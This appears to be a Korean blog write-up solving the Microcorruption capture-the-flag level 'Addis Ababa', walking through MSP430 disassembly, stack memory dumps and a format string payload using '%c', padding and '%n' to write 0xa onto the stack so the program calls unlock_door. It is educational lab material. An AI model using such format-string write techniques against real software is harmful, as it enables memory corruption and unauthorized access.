Microcurruption의 Addis Ababa다.
4482: 3f40 0a00 mov #0xa, r15
4486: b012 5045 call #0x4550 <putchar>
448a: 8193 0000 tst 0x0(sp)
448e: 0324 jz #0x4496 <main+0x5e>
4490: b012 da44 call #0x44da <unlock_door>
ret를 변조하는 문제가 아니다. r15에 0xa를 넣고 xor r15, r15해서 zero-flag가 0이면 unlock_door 함수를 호출하는 구조다. 즉 r15와 비교하는 현재 그 당시의 sp 주소에 0xa가 들어있다면 unlock_door 함수가 호출된다.
446a: b012 de46 call #0x46de <strcpy>
446e: 3f40 0024 mov #0x2400, r15
4472: b012 b044 call #0x44b0 <test_password_valid>
4476: 814f 0000 mov r15, 0x0(sp)
447a: 0b12 push r11
447c: b012 c845 call #0x45c8 <printf>
지금까지 워게임 흐름상 printf 함수가 있으니 이 문제는 format string bug라고 거의 90%이상 확신했다(그러면 안되지만) . fsb도 어깨넘어로만 들어서 열심히 포스팅한걸 검색해서 보면서 익혔다. 뭐 사실 나는 printf(buf); 이런식으로 코딩을 해본적이 없어서 희안하긴했다.
3c60: 0100 ce44 7d00 0024 6a3c 0024 0000 XXXX ...D}..$j<.$..r<
3c70: 0000 703c 2563 6161 6161 6161 6161 256e ..p<%caaaaaaaa%n
3c80: 0000 0000 0000 0000 0000 0000 0000 0000 ................
printf 함수가 실행되기 바로 직전의 sp는 XXXX (0x3C6E)였다. 만약 fsb가 터진다면 sp 기준으로 pop을 세 번 해야 우리가 원하는 위치인 0x3C70에 접근할 수 있으니(push r11 때문에 + 1) 703C%cAAAAAAAAAA%n을 해주면 될 것 같았다. 그런데 딱 실행하는 순간 아래와 같이 변했다.
3c60: 0100 ce44 7d00 0024 6a3c 0024 0000 XXXX ...D}..$j<.$..r<
3c70: 0c00 703c 2563 6161 6161 6161 6161 256e ..p<%caaaaaaaa%n
3c80: 0000 0000 0000 0000 0000 0000 0000 0000 ................
아하, %c는 훼이크고 %c까지 문자길이로 인식해야하니 A를 두개 빼주고 페이로드를 맞춰주면,
3c60: 0100 ce44 7d00 0024 6a3c 0024 0000 XXXX ...D}..$j<.$..r<
3c70: 0a00 703c 2563 6161 6161 6161 6161 256e ..p<%caaaaaaaa%n
3c80: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0xa가 정확하게 들어간다. 그럼 이제 xor r15, sp 하면 zero-flag가 0이 될테니 unlock_door 함수가 호출된다.
댓글 없음:
댓글 쓰기